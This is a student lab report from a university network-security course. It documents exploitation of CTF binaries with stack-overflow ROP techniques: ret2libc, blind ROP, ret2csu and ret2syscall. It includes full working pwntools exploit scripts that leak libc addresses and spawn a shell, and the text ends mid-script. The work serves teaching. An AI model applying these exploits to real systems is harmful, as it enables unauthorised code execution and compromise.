|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| 武汉大学国家网络安全学院教学实验报告 | | | | | |
| 课程名称 | 网络对抗演练 | | 实验日期 | | 2024/5/29 |
| 实验名称 | PWN-二进制 | | 实验周次 | | 第3周 |
| 姓名 | 学号 | | 专业 | | 班级 |
| 赵伯俣 | 2021302181156 | | 信安 | | 6 |
| 刘竞优 | 2021302181057 | | 信安 | | 6 |
| 张竣尧 | 2021302181004 | | 信安 | | 7 |
| [一、实验目的 3](#_Toc168317271)  [1.1 day1 3](#_Toc168317272)  [1.2 day2 3](#_Toc168317273)  [1.3 day3 3](#_Toc168317274)  [1.4 day4 4](#_Toc168317275)  [1.5 day5 4](#_Toc168317276)  [二、实验要求 5](#_Toc168317277)  [2.1 day1 5](#_Toc168317278)  [2.2 day2 5](#_Toc168317279)  [2.3 day3 5](#_Toc168317280)  [2.4 day4 5](#_Toc168317281)  [2.5 day5 5](#_Toc168317282)  [三、实验内容 6](#_Toc168317283)  [3.1 day1 6](#_Toc168317284)  [3.2 day2 6](#_Toc168317285)  [3.3 day3 6](#_Toc168317286)  [3.4 day4 6](#_Toc168317287)  [3.5 day5 6](#_Toc168317288)  [四、实验步骤 7](#_Toc168317289)  [4.1 day1 7](#_Toc168317290)  [实验1完成目标程序bof的利用 7](#_Toc168317291)  [4.2 day2 14](#_Toc168317292)  [实验1 完成64位目标程序axb\_2019\_brop64的利用 14](#_Toc168317293)  [实验2 完成64位目标程序easylib的利用 31](#_Toc168317294)  [实验3 完成静态编译程序PicoCTF\_2018\_can-you-gets-me的利用 38](#_Toc168317295)  [4.3. day3 47](#_Toc168317296)  [实验1 完成32位目标程序axb\_2019\_fmt32的利用 47](#_Toc168317297)  [实验2 完成目标程序pb的利用 53](#_Toc168317298)  [实验3 利用IDA插件keypatch完成对AWD文件夹下format、gets、pwn的程序修补 67](#_Toc168317299)  [4.4 day4 88](#_Toc168317300)  [实验1完成64位目标程序roarctf\_2019\_realloc\_magic的利用 88](#_Toc168317301)  [4.5 day5 101](#_Toc168317302)  [实验1 完成64位目标程序paper的堆利用 101](#_Toc168317303)  [实验2完成64位目标程序pwn的堆利用 129](#_Toc168317304)  [五、实验总结 137](#_Toc168317305)  [六、各人实验贡献与体会 138](#_Toc168317306)  [赵伯俣 138](#_Toc168317307)  [贡献 138](#_Toc168317308)  [体会 138](#_Toc168317309)  [刘竞优 138](#_Toc168317310)  [贡献 138](#_Toc168317311)  [体会 138](#_Toc168317312)  [张竣尧 138](#_Toc168317313)  [贡献 139](#_Toc168317314)  [体会 139](#_Toc168317315)  [七、教师评语 139](#_Toc168317316) | | | | | |
| 一、实验目的1.1 day1 bof   * 学会ret2libc利用方法，结合pwntools编写利用脚本，得到本地shell [粘贴脚本截图和shell截图] * 32位栈溢出分析 * 学习32位利用时的参数构造顺序  1.2 day2 （1）axb\_2019\_brop64   * 学会64位ret2libc利用方法，结合pwntools编写利用脚本，得到本地shell [粘贴脚本截图和shell截图] * 64位栈溢出分析 * 学习64位利用时的寄存器及参数构造顺序   （2）easylib   * 学会64位ret2csu利用方法，结合pwntools编写利用脚本，得到本地shell [粘贴脚本截图和shell截图] * 64位ret2csu利用方式，ret2csu寄存器的构造   （3）PicoCTF\_2018\_can-you-gets-me   * 学会ret2syscall利用方法，结合pwntools编写利用脚本，得到本地shell [粘贴脚本截图和shell截图] * 静态编译程序的ret2syscall利用方式，掌握系统调用时的寄存器构造  1.3 day3  1. axb\_2019\_fmt32  * 学会32位格式化字符串漏洞利用方法，结合pwntools编写利用脚本，得到本地shell [粘贴脚本截图和shell截图] * 掌握格式化字符串任意地址读 * 掌握格式化字符串任意地址写 * 掌握one\_gadget的使用方法  1. pb  * 学会非栈上格式化字符串漏洞利用方法，结合pwntools编写利用脚本，得到本地shell [粘贴脚本截图和shell截图] * 学会通过多级指针完成任意地址写 * 掌握one\_gadget的使用方法  1. format、gets、pwn的程序修补  * 学会漏洞程序的修复。 [粘贴修补截图] * 掌握格式化字符串漏洞修复 * 掌握栈溢出漏洞修复  1.4 day4 roarctf\_2019\_realloc\_magic   * 学会64位堆UAF漏洞利用方法，结合pwntools编写利用脚本，得到本地shell [粘贴脚本截图和shell截图] * 掌握Tcache Attack * 掌握stdout 泄露libc地址的方法 * 掌握劫持free\_hook的方法  1.5 day5 （1）paper   * 学会64位堆UAF和glibc 2.23的double free漏洞利用方法，结合pwntools编写利用脚本，得到本地shell [粘贴脚本截图和shell截图] * 掌握伪造fastbin size域的方法 * 掌握劫持GOT表的方法   （2）pwn   * 学会64位堆UAF和glibc 2.27的tcache double free漏洞利用方法，结合pwntools编写利用脚本，得到本地shell [粘贴脚本截图和shell截图] * 掌握劫持free\_hook、malloc\_hook的方法 | | | | | |
| 二、实验要求2.1 day1 完成bof题目，通过32位ret2libc利用方式，执行/bin/sh拿到本地shell。 2.2 day2 （1）完成axb\_2019\_brop64题目，通过64位ret2libc利用方式，执行/bin/sh拿到本地shell。  （2）完成easylib题目，通过64位ret2csu利用方式，获取本地shell。  （3）完成PicoCTF\_2018\_can-you-gets-me题目，通过ret2syscall利用方式，获取本地shell 2.3 day3 （1）完成axb\_2019\_fmt32题目，通过格式化字符串漏洞任意地址读写，拿到本地shell。  （2）完成pb题目，通过非栈上格式化字符串利用方式，获取本地shell。  （3）完成AWD目录下三个题目修复，保证程序正常运行情况下，使攻击脚本无法再获取shell。 2.4 day4 完成roarctf\_2019\_realloc\_magic题目，通过堆漏洞利用，拿到本地shell。 2.5 day5 （1）完成paper题目，通过堆漏洞利用，拿到本地shell  （2）完成pwn堆题目，通过堆漏洞利用，拿到本地flag | | | | | |
| 三、实验内容3.1 day1 完成目标程序bof的利用。 3.2 day2 （1）完成64位目标程序axb\_2019\_brop64的利用。  （2）完成64位目标程序easylib的利用。  （3）完成静态编译程序PicoCTF\_2018\_can-you-gets-me的利用。 3.3 day3 （1）完成32位目标程序axb\_2019\_fmt32的利用。  （2）完成目标程序pb的利用。  （3）利用IDA插件keypatch完成对AWD文件夹下format、gets、pwn的程序修补。 3.4 day4 完成64位目标程序roarctf\_2019\_realloc\_magic的利用。 3.5 day5 （1）完成64位目标程序paper的堆利用。  （2）完成64位目标程序pwn的堆利用。 | | | | | |
| 四、实验步骤4.1 day1实验1完成目标程序bof的利用 首先查看保护机制，只开启了NX也就是说可以使用栈溢出    将代码在IDA32位中进行反汇编得到的结果如下， 首先对112字节的buf进行填充，由24字节长的字符串和76字节的0填充，之后设置setbuf为输出流，并再次通过write函数向buf中写入112字节的内容    Vuln函数的内容如下，这里设置了104字节的栈缓冲区，并将其设置为输入流，之后读取buf中的256字节，这里很明显是超过了设置的buf的104字节的长度，那么根据栈帧安排，这里的256字节应该也把ebp、ret\_add以及前面的buf都给读取了，而write则是使用的库函数，会利用到got表，那么我们就自然能够联想到对这个表进行利用，将其中地址覆盖为我们的shellcode地址，从而实现跳转    根据前面vuln函数分析，那么我们需要先在write函数下断点，然后慢慢看看他前后栈和寄存器等的变化    运行后的结果如下      运行到write处停止，此时eip将要跳转的值为0x804a01c，也就是我们的got表，我们查看内存中0x804a01c位置的值为0x080483c6即为write@plt的地址+6    单步运行之后发现该指令是将0x20入栈，0x20是导入函数标识，是ELF\_Rel在。rel.plt中的偏移      再次单步调试，是一个跳转指令，跳转到0x8048370，      使用readelf工具查找该地址发现地址代表的是.plt段的开头PLT[0]    再次单步运行进入到PLT[0]处的代码      查看eip寄存器中段偏移的值0x804a004位置的值    接下来查看.got.plt段如下，可以得出GOT[1]是0x804a004，GOT[2]是0x804a008    所以我们直接反汇编GOT[2]位置指向的地址如下所示，我们可以发现PLT[0]就是调用如下函数，这个也就是我们即将调用的write系统函数    该函数在“glibc/sysdeps/i386/dl-trampoline.s“中用汇编实现，首先保存寄存器，然后将两个值分别传入寄存器，最后恢复寄存器    上面这两个值是在调用plt写偏移中时压入的偏移量，一个是PLT[0]中压入的GOT[1]，再次单步执行    此时我们查看GOT地址，可以看到已经被覆盖为实际执行地址了    那么我们根据前面的操作，需要构造的步骤如下：首先触发栈溢出漏洞，首先需要112字节的偏移，后续需要使用一个read函数来读入后续的payload和伪造的各种表，一个write函数则是用于验证每一步的正确性，最后将write换成system即可。最终python脚本执行后结果如下：   4.2 day2实验1 完成64位目标程序axb\_2019\_brop64的利用A.方法一 首先查看checksec发现该程序是一个64位的程序，在保护方面只开启了NX防护    尝试在本地运行该可执行程序，该程序接受一个输入并返回输出之后停止运行    使用ida64对该可执行程序进行反汇编，得到的main函数如下所示，可以发现程序调用puts输出提示信息之后调用repeater函数之后再进行输出之后程序结束    找到repeater函数进行反汇编如下，可以发现在read函数的位置存在有栈溢出漏洞    然后查看main函数的起始地址为0x4007d6    因为是64位传参模式，所以会使用到寄存器，尝试在程序汇编代码中查找pop rdi指令，找到该指令的内存地址为0x400963    接下来编写exp程序如下所示，将主函数的地址设置为我们之前使用ida获取到的地址，然后构造第一个payload对libc地址进行泄露，将获取到的puts函数的实际内存地址并输出  from pwn import \*  from LibcSearcher import \*    context.log\_level="debug"  p=process('./axb\_2019\_brop64')  elf=ELF('./axb\_2019\_brop64')    main=elf.sym['main'] # 0x4007d6  puts\_plt=elf.plt['puts']  puts\_got=elf.got['puts']  read\_got=elf.got['read']  pop\_rdi=0x0000000000400963  prsi = 0x0000000000400961    p.recvuntil('Please tell me:')  payload=b'a'\*(0xd0+8)+p64(pop\_rdi)+p64(read\_got)+p64(puts\_plt)+p64(main)  p.sendline(payload)    puts\_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))  success('puts\_addr:'+hex(puts\_addr))  运行该漏洞利用程序找到接收到的信息，在接收到的信息中可以找到之前pop rid指令的地址0x400963后面的就是puts@got的位置，我们这里调用p.recvuntil方法接收信息然后用0补足8位     之后重新加载目标文件构造第二条payload来计算libc的基址获取到system函数和“/bin/sh”字符串的地址，最后获取到shell允许用户通过shell与目标程序交互  libc = ELF('/lib/x86\_64-linux-gnu/libc.so.6')  libc\_base = puts\_addr - libc.sym['read']  system = libc\_base + libc.sym['system']  binsh = libc\_base + next(libc.search(b'/bin/sh\x00'))    payload=b'a'\*0xd8+p64(pop\_rdi)+p64(binsh)+p64(system)+p64(main)  p.sendline(payload)    p.interactive()  第二次构造的exp如下  from pwn import \*  from LibcSearcher import \*    context.log\_level="debug"  p=process('./axb\_2019\_brop64')  elf=ELF('./axb\_2019\_brop64')    main=elf.sym['main'] # 0x4007d6  puts\_plt=elf.plt['puts']  puts\_got=elf.got['puts']  read\_got=elf.got['read']  pop\_rdi=0x0000000000400963  prsi = 0x0000000000400961    p.recvuntil('Please tell me:')  payload=b'a'\*(0xd0+8)+p64(pop\_rdi)+p64(read\_got)+p64(puts\_plt)+p64(main)  p.sendline(payload)    puts\_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))    success('puts\_addr:'+hex(puts\_addr))    libc = ELF('/lib/x86\_64-linux-gnu/libc.so.6')  libc\_base = puts\_addr - libc.sym['read']  system = libc\_base + libc.sym['system']  binsh = libc\_base + next(libc.search(b'/bin/sh\x00'))    payload=b'a'\*0xd8+p64(pop\_rdi)+p64(binsh)+p64(prsi) + p64(0)\*2+p64(system)+p64(main)  p.sendline(payload)    p.interactive()  运行第二次构造的exp脚本如下，发现可以成功获取到目标主机的shell   B.方法二（1）确定栈溢出长度 尝试在输入时构造不同长度的字符串发现当构造字符串的长度为300时会产生段错误    构造自动化脚本exp来确定偏移量，构造的自动化脚本如下，通过构造不同长度的字符串来实现对Canary的爆破获取到栈溢出的长度，通过循环持续增加 offset直到发现溢出偏移量。这里查找时如果时间过长也可以采用二分法爆破栈溢出的长度,在这里只需要花较短时间所以没有采用二分法对栈溢出长度进行爆破  from pwn import \*  from LibcSearcher import \*    def offset\_find( ):  offset = 0  while True:  try:  offset += 1  #io = remote("node4.buuoj.cn",25526)  io = process('./axb\_2019\_brop64')  io.recvuntil(b'Please tell me:')  io.send(b'A'\*offset)  if b'Goodbye!' not in io.recvall():  raise 'Programe not exit normally!'  io.close()  except Exception:  log.success('offset==)'+ str(offset -1))  return offset - 1    if \_\_name\_\_=='\_\_main\_\_':  offset=offset\_find()  运行该脚本可以得到结果偏移量为216    生成长度为215和216长度的字符串作为输入验证获取的偏移量发现程序在字符串长度为215时不会产生段错误，在长度为216时会产生段错误   （2）寻找stop gadgets代码 在这个步骤中我们需要找到会使程序陷入死循环的代码来保证我们在对程序进行攻击的时候能够一直连接。  尝试使用main函数作为死循环的目标函数，将可执行程序放入到ida中查找main函数的起始地址为0x4007d6   （3）寻找brop-gadget 方法一：  使用brop-gadget工具获取到pop rdi ret指令所在的地址如下所示为0x400963    方法二：  在之前的步骤中使用的自动化脚本中添加函数查找，通过不断尝试不同的地址，并将这些地址构造成特定格式的 payload 发送给程序，来判断哪个地址包含可利用的 gadget启动程序进程，发送构造好的 payload，检查程序返回的信息是否符合预期。如果找到符合条件的地址，则记录并返回该地址。  def brop\_find(stop\_addr,offset):  addr = 0x400000  while True:  try:  io = process("./axb\_2019\_brop64")  io.recvuntil(b"Please tell me:")  print(hex(addr))  payload = b'a'\*offset + p64(addr) + p64(0)\*6 + p64(stop\_addr)  io.send(payload)  if b'Hello' in io.recvall(timeout=1):  log.success("brop\_gadget==>" + hex(addr))  return hex(addr)  addr += 1  except Exception:  io.close()  if \_\_name\_\_=='\_\_main\_\_':  offset=216 #offset\_find()  stop\_addr=0x4007d6  brop\_find(stop\_addr,offset)  程序的运行结果为    由此我们可以获取到pop rdi ret的地址为0x40095a+0x9=0x400963与方法一中获取到的地址相同 （4）寻找puts-plt 在软件构造程序的过程中会采用动态链接的方式，这一功能通过利用plt表和got表来实现，puts-plt能够跳转执行函数，因此找到puts-plts就能够执行puts函数  在程序没有开启PIE保护的情况下内存地址0x400000会作为ELF文件的头部，保存的内容为\x7fELF  继续在之前的自动化脚本中添加函数来查找puts\_plt的地址，添加的代码如下，首先构造一个溢出缓冲区的 payload，并将可能的 PLT 地址逐一尝试，通过检查程序返回的响应信息来判断是否找到了正确的 PLT 地址。如果找到包含 "ELF" 字符串的响应，说明成功找到了函数的 PLT 地址，并返回该地址。  def func\_plt\_find(plt\_base, offset, stop\_addr, pop\_rdi\_ret):  maybe\_low\_byte = 0x0630 #0x0000  while True:  try:  #io = remote("node4.buuoj.cn",25526)  io = process('./axb\_2019\_brop64')  io.recvuntil(b"Please tell me:")  payload = b'A' \* offset  payload += p64(pop\_rdi\_ret)  payload += p64(0x400000)  payload += p64(plt\_base+ maybe\_low\_byte)  payload += p64(stop\_addr)  print(hex(maybe\_low\_byte))  io.send(payload)  if maybe\_low\_byte > 0xFFFF:  log.error("All low byte is wrong!")  if b"ELF" in io.recvall(timeout=1):  log.success("plt address==>" + hex(plt\_base + maybe\_low\_byte))  return hex(plt\_base + maybe\_low\_byte)  maybe\_low\_byte = maybe\_low\_byte + 1  except:  io.close()      if \_\_name\_\_=='\_\_main\_\_':  offset=216 #offset\_find()  stop\_addr=0x4007d6  brop\_gadget=0x40095a #brop\_find(stop\_addr,offset)  pop\_rdi\_ret=brop\_gadget+0x9  plt\_base=0x400000  func\_plt\_find(plt\_base,offset,stop\_addr,pop\_rdi\_ret)  自动化脚本的运行结果为    由此我们可以找到plt的地址为0x400635 （5）寻找got地址 在plt表中保存有got的地址，如果能够将plt表dump就可以获取到got的地址，获取到got表的地址之后就能够泄露出真实的函数地址  在之前的exp脚本中添加函数对plt进行dump操作，首先，通过 leak 函数构造并发送精心设计的 payload，以尝试泄露指定地址的内存数据。如果成功接收到数据，则返回该数据；否则返回空值。然后，通过 dump\_file 函数迭代泄露内存数据，从指定的起始地址开始，直到特定的结束地址（0x400835），并将泄露的数据逐字节写入文件 dump\_file 中。  def leak(offset,pop\_rdi\_ret,func\_plt,leak\_addr,stop\_addr):  io = process('./axb\_2019\_brop64')  #io = remote("node4.buuoj.cn",25526)  payload = b'a'\*offset + p64(pop\_rdi\_ret) + p64(leak\_addr) + p64(func\_plt) + p64(stop\_addr)  io.recvuntil(b"Please tell me:")  io.sendline(payload)  io.recvuntil(b'a'\*offset)  io.recv(3) #0x400635 -> 3byte \x00 stop !!!  try:  output = io.recv(timeout = 1)  io.close()  try:  output = output[:output.index(b"\nHello,I am a computer")]  print(output)  except Exception:  output = output  if output == b"":  output = b"\x00"  return output  except Exception:  io.close()  return None    def dump\_file(offset,pop\_rdi\_ret,puts\_plt,addr,stop\_addr):  result =b''  while addr < 0x400835:  print(hex(addr))  output = leak(offset, pop\_rdi\_ret,puts\_plt,addr,stop\_addr)  if output is None:  result += b'\x00'  addr += 1  continue  else:  result += output  addr += len(output)  with open('dump\_file','wb') as f:  f.write(result)      if \_\_name\_\_=='\_\_main\_\_':  offset=216 #offset\_find()  stop\_addr=0x4007d6  brop\_gadget=0x40095a #brop\_find(stop\_addr,offset)  pop\_rdi\_ret=brop\_gadget+0x9  plt\_base=0x400000  puts\_plt=0x400635 #func\_plt\_find(plt\_base,offset,stop\_addr,pop\_rdi\_ret)  dump\_file(offset,pop\_rdi\_ret,puts\_plt,0x400000,stop\_addr)  自动化脚本运行的结果如下    将dump出的文件放到ida中进行分析，可以成功获取到got的地址为0x601018   （6）开始攻击 在获取到got的地址之后就可以通过puts获取真实的函数地址来泄露libc的版本从而找出shell的条件，最后进行常规的栈溢出ROP即可获取到目标程序的shell，为之前编写的攻击脚本添加函数，首先，通过设置日志级别和程序架构初始化攻击环境，然后利用 ELF 模块加载二进制程序和其关联的 libc 库。构造的第一个 payload 用于泄露 puts 函数的 GOT（Global Offset Table）地址，通过调用 puts 函数输出该地址并接收响应。根据泄露的地址，计算出 libc 基地址和 system 函数地址，以及字符串 "/bin/sh" 的地址。接下来，构造第二个 payload，调用 system("/bin/sh")，从而在目标系统上打开一个 shell。最终，发送该 payload 并进入交互模式，使攻击者能够在远程系统上执行任意命令。  def attack(offset,pop\_rdi\_ret,puts\_got,puts\_plt,stop\_addr):  context(log\_level='debug',arch = 'amd64',os = 'linux')  io = process('./axb\_2019\_brop64')    elf = ELF('./axb\_2019\_brop64')  libc = elf.libc  ret = 0x40095a + 0x9 + 0x5  payload = b'a'\*offset  payload += p64(pop\_rdi\_ret)  payload += p64(puts\_got)  payload += p64(puts\_plt)  payload += p64(stop\_addr)  io.recvuntil(b"Please tell me:")  io.sendline(payload)  io.recvuntil(b'a'\*offset)  io.recv(3)  func\_addr = io.recv(6)  puts\_address = u64(func\_addr.ljust(8,b'\x00'))  print(hex(puts\_address))  libcbase = puts\_address - libc.symbols['puts']  system\_address = libcbase + libc.symbols['system']  bin\_sh = libcbase + next(libc.search(b'/bin/sh\x00'))  io.recvuntil(b"Please tell me:")  payload = b'a'\*offset + p64(ret) + p64(pop\_rdi\_ret) + p64(bin\_sh) + p64(system\_address) + p64(stop\_addr)  io.sendline(payload)  io.interactive()      if \_\_name\_\_=='\_\_main\_\_':  offset=216 #offset\_find()  stop\_addr=0x4007d6  brop\_gadget=0x40095a #brop\_find(stop\_addr,offset)  pop\_rdi\_ret=brop\_gadget+0x9  plt\_base=0x400000  puts\_plt=0x400635 #func\_plt\_find(plt\_base,offset,stop\_addr,pop\_rdi\_ret)  # dump\_file(offset,pop\_rdi\_ret,puts\_plt,0x400000,stop\_addr)  puts\_got=0x601018  attack(offset,pop\_rdi\_ret,puts\_got,puts\_plt,stop\_addr)  运行攻击脚本之后成功获取到本地的shell   （7）最终攻击脚本 最终完整的exp自动化攻击脚本为  from pwn import \*  from LibcSearcher import \*    def offset\_find( ):  offset = 0  while True:  try:  offset += 1  #io = remote("node4.buuoj.cn",25526)  io = process('./axb\_2019\_brop64')  io.recvuntil(b'Please tell me:')  io.send(b'A'\*offset)  if b'Goodbye!' not in io.recvall():  raise 'Programe not exit normally!'  io.close()  except Exception:  log.success('offset==>'+ str(offset -1))  return offset - 1    def brop\_find(stop\_addr,offset):  addr = 0x400950 #0x400000  while True:  try:  #io = remote("node4.buuoj.cn",25526)  io = process("./axb\_2019\_brop64")  io.recvuntil(b"Please tell me:")  print(hex(addr)) #careful!  payload = b'a'\*offset + p64(addr) + p64(0)\*6 + p64(stop\_addr)  io.send(payload)  if b'Hello' in io.recvall(timeout=1):  log.success("brop\_gadget==>" + hex(addr))  return hex(addr)  addr += 1  except Exception:  io.close()    def func\_plt\_find(plt\_base, offset, stop\_addr, pop\_rdi\_ret):  maybe\_low\_byte = 0x0630 #0x0000  while True:  try:  #io = remote("node4.buuoj.cn",25526)  io = process('./axb\_2019\_brop64')  io.recvuntil(b"Please tell me:")  payload = b'A' \* offset  payload += p64(pop\_rdi\_ret)  payload += p64(0x400000)  payload += p64(plt\_base+ maybe\_low\_byte)  payload += p64(stop\_addr)  print(hex(maybe\_low\_byte))  io.send(payload)  if maybe\_low\_byte > 0xFFFF:  log.error("All low byte is wrong!")  if b"ELF" in io.recvall(timeout=1):  log.success("plt address==>" + hex(plt\_base + maybe\_low\_byte))  return hex(plt\_base + maybe\_low\_byte)  maybe\_low\_byte = maybe\_low\_byte + 1  except:  io.close()    def leak(offset,pop\_rdi\_ret,func\_plt,leak\_addr,stop\_addr):  io = process('./axb\_2019\_brop64')  payload = b'a'\*offset + p64(pop\_rdi\_ret) + p64(leak\_addr) + p64(func\_plt) + p64(stop\_addr)  io.recvuntil(b"Please tell me:")  io.sendline(payload)  io.recvuntil(b'a'\*offset)  io.recv(3)  try:  output = io.recv(timeout = 1)  io.close()  try:  output = output[:output.index(b"\nHello,I am a computer")]  print(output)  except Exception:  output = output  if output == b"":  output = b"\x00"  return output  except Exception:  io.close()  return None    def dump\_file(offset,pop\_rdi\_ret,puts\_plt,addr,stop\_addr):  result =b''  while addr < 0x400835:  print(hex(addr))  output = leak(offset, pop\_rdi\_ret,puts\_plt,addr,stop\_addr)  if output is None:  result += b'\x00'  addr += 1  continue  else:  result += output  addr += len(output)  with open('dump\_file','wb') as f:  f.write(result)    def attack(offset,pop\_rdi\_ret,puts\_got,puts\_plt,stop\_addr):  context(log\_level='debug',arch = 'amd64',os = 'linux')  io = process('./axb\_2019\_brop64')    elf = ELF('./axb\_2019\_brop64')  libc = elf.libc  ret = 0x40095a + 0x9 + 0x5  payload = b'a'\*offset  payload += p64(pop\_rdi\_ret)  payload += p64(puts\_got)  payload += p64(puts\_plt)  payload += p64(stop\_addr)  io.recvuntil(b"Please tell me:")  io.sendline(payload)  io.recvuntil(b'a'\*offset)  io.recv(3)  func\_addr = io.recv(6)  puts\_address = u64(func\_addr.ljust(8,b'\x00'))  print(hex(puts\_address))  libcbase = puts\_address - libc.symbols['puts']  system\_address = libcbase + libc.symbols['system']  bin\_sh = libcbase + next(libc.search(b'/bin/sh\x00'))  io.recvuntil(b"Please tell me:")  payload = b'a'\*offset + p64(ret) + p64(pop\_rdi\_ret) + p64(bin\_sh) + p64(system\_address) + p64(stop\_addr)  io.sendline(payload)  io.interactive()      if \_\_name\_\_=='\_\_main\_\_':  offset=216 #offset\_find()  stop\_addr=0x4007d6  brop\_gadget=0x40095a #brop\_find(stop\_addr,offset)  pop\_rdi\_ret=brop\_gadget+0x9  plt\_base=0x400000  puts\_plt=0x400635 #func\_plt\_find(plt\_base,offset,stop\_addr,pop\_rdi\_ret)  # dump\_file(offset,pop\_rdi\_ret,puts\_plt,0x400000,stop\_addr)  puts\_got=0x601018  attack(offset,pop\_rdi\_ret,puts\_got,puts\_plt,stop\_addr) 实验2 完成64位目标程序easylib的利用 首先就是对easylib进行常规检查    只开启了NX数据段不可执行，看一下基本头信息    我们拖到ida64里面看看都有哪些函数    如上图所示，我们就定义了init、vuln、main三个函数，使用了三个外部库函数write、read、setvbuf。而“\_\_libc\_csu\_init”两个函数经过网上搜索后很容易能够得知这个与库函数的引用初始化有关：  “start”函数调用libc.so中的“lib\_start\_main”引入库函数，之后在我们的main开始之前由“libc\_csu\_init”初始化有关的libc库函数，并在main执行完毕之后调用“libc\_csu\_fini”，后面这两个函数存在于/usr/lib/libc\_nonshared.a静态链接库中，所以在程序编译前会被直接编译进去。  接下来我们回到main函数进行查看：    主要就是调用自己的init()和vuln()两个函数，其函数具体内容如下：    可以看到在init中使用了setvbuf函数，该函数就是用来设置缓冲区属性的，我们注意到“bss”段也被设置为了缓冲区，也就是可读写的状态。之后的vuln函数中，对将屏幕中输入的字节512字节都给放到长128字节的buf中，想当然的造成了缓冲区溢出，此时我们能控制的就有其中的一个ret\_add和ebp等。  但是说是让用“ret2csu”，应是要用到前面说的“\_\_libc\_csu\_init”函数，下面参考[关于学习ret2csu的总结 - ZikH26 - 博客园 (cnblogs.com)](https://www.cnblogs.com/ZIKH26/articles/15910485.html)  下面是“\_\_libc\_csu\_init”函数的汇编代码（该段汇编先执行400740再执行400756）    假设我们获取了控制流，我们让其跳转到0x00~40075A的地方，从此处开始进行寄存器的压栈，将栈顶前6个数据依次赋给寄存器，之后ret到上面的功能时，由于前四条指令，我们可以控制call的跳转位置。  看一下call的方式，我们可以将rbx=0，rbp=1，这样r12就直接等于我们想跳的地址，而且后面jnz时也不会进行跳转（跳的话又回到了此段代码开头）  所以我们的整体思路有了，通过read控制我们栈帧中的ret\_addr，令其能够跳转到0x0~40075A上，因为还是在栈上，我们还可以控制后面的七个字，来控制r12寄存器与retn时的栈上数据，来使得能够运行call函数，从而跳转到我们的shellcode上。    我们首先就是对第一段中的payload进行设置，0x88=128+8个字节进行垃圾填充，之后的第一个字节写入我们的gadget1段地址，让其能够返回到这个地方    如下图所示，我们跳转到了“libc\_csu\_init”函数中    之后我们开始向后执行来到进行参数的赋值的地方      下面就是其他参数了，0赋值给rbx，1赋值给rbp，将write函数的地址赋值给r12寄存器，后面再通过gadget2与retn指令共同返回到上面的代码段中，之后我们再填充7个字长来最后跳回到我们的main函数  在第二段payload中我们需要利用控制流来反弹我们的bin/sh，那么我们需要的就是利用got表和plt表进行函数执行，那么下面的问题就是获取我们的got表中相应函数的地址    我们进行单步调试来获取write函数的位置，之后并根据系统库调用表相对位置来查找到system函数，并向其中传入“/bin/sh”字符串，从而反弹给我们一个shell    之后我们来到这里，已经开始执行posix函数了，继续向后执行    得到我们最终的shell   实验3 完成静态编译程序PicoCTF\_2018\_can-you-gets-me的利用A.方法一：手动构造payload 首先查看文件性质发现文件是静态编译    先运行一下目标程序，可以看到运行结果是程序获取一个字符串name    使用checksec工具检查程序的安全特性，可以看到程序开启了NX保护机制，没有开启栈保护，因此可以进行栈溢出。    使用32位IDA打开程序，查看main函数的反编译结果，理解程序功能并写出注释如下。  1. int \_\_cdecl main(int argc, const char \*\*argv, const char \*\*envp)  2. {  3. int v4; // [esp+Ch] [ebp-Ch]  4.  5. setvbuf(stdout, 0, 2, 0);//设置标准输出流（stdout）的缓冲模式。将其配置为无缓冲，即写入stdout的任何数据都会立即刷新并显示。  6. v4 = getegid(); //检索进程的有效组ID  7. setresgid(v4, v4, v4); //将进程的实际组ID、有效组ID和保存的组ID都设置为存储在v4中的值。通过为所有三个参数传递相同的值，确保实际组ID、有效组ID和保存的组ID都被设置为相同的值。  8. vuln(); //调用vuln函数  9. return 0;  10. }  下面分析调用的vuln函数内容，可以看到vul函数在栈上开辟了一个24字节大小的空间用于存储用户输入的字符串。  1. int vuln()  2. {  3. char v1[24]; // [esp+0h] [ebp-18h] BYREF  4.  5. puts("GIVE ME YOUR NAME!");  6. return gets(v1);  7. }  根据gets函数的定义，可以知道gets函数不会对用户的输入进行长度检查，因此可以利用栈溢出来使程序返回到我们调用shell的代码的位置。    在文件中搜索发现没有/bin/sh字符串，因此我们需要先将/bin/sh写入程序中，接着调用execve系统调用来执行获取shell。  因为程序开启了nx保护机制，使得栈上的数据不可执行，因此我们可以调用gets函数将用户输入的字符串存储到.bss段的地址bss处，这样可以在.bss段中构造攻击序列。由于.bss段是可写的，可以将ROP链的地址和参数值存储在.bss段中，然后通过ROP技术将程序的控制流引导到这些地址，从而实现攻击的目的。  为了实现上面的操作，我们需要知道bss段的地址、main函数的地址、gets函数的地址。bss段的地址可以直接使用elf文件解析库获取，具体代码如下。    使用gdb调试目标程序，在main函数处打断点，并运行到断点处，可以得到main函数的地址为0x080488A3。    在gets函数处打断点，运行到断点处，可以得到gets函数的地址为0x804f126-6=0x804f120    有了这些函数的地址，我们可以构造第一个payload，向bss段写入字符串“/bin/sh\x00”，代码如下。    调试程序，运行到gets函数，可以看到执行gets函数之前的0x80EB080地址处数据为全零      在执行gets函数后可以看到栈中数据已经被改变，查看栈中数据可以看到ebp和返回地址均被更改，其中返回地址被修改为0x804f120。      继续执行程序，可以看到gets函数再次执行，并且将main函数的地址作为第二次gets函数的返回地址，且传入的参数是bss段+0x100的地址。第二次gets函数执行完成后，再次查看bss段+0x100的内存数据，可以看到成功写入shellcode。可以在IDA中查看bss段的开始位置，这里不直接放在bss段开始处是因为防止修改原始数据导致异常。      接着就需要调用系统调用execve去执行/bin/sh，通过查询可以看到execve的系统调用号是11，并且需要三个参数ebx、ecx、edx。    我们需要找到连续的将ebx、ecx、edx三个寄存器出栈的pop、ret指令，这里使用ROPgadget工具获取所需rop的地址，根据结果我我们选择0x0806f050作为gadgets。    传参的指令有了，我们还需要执行pop eax；int 0x80；指令来触发execve系统调用，进而获取shell。同样使用ROPgadget工具来获取这两条指令的gadgets，根据结果选择0x080b81c6地址去执行pop eax指令。    选择0x0806cc25地址去执行int 0x80指令。    接下来只需要为eax、ebx、ecx、edx设置合适的参数，只有eax、ebx是需要参数，分别是execve的系统调用编号0xb、写入的/bin/sh的地址即bss段内的地址，因此构造的payload如下。    最终完整的代码如下  from pwn import \*    elf = ELF('./PicoCTF\_2018\_can-you-gets-me')  gets = 0x0804F120  bss = elf.get\_section\_by\_name('.bss').header.sh\_addr + 0x100  main = 0x080488A3    #io = 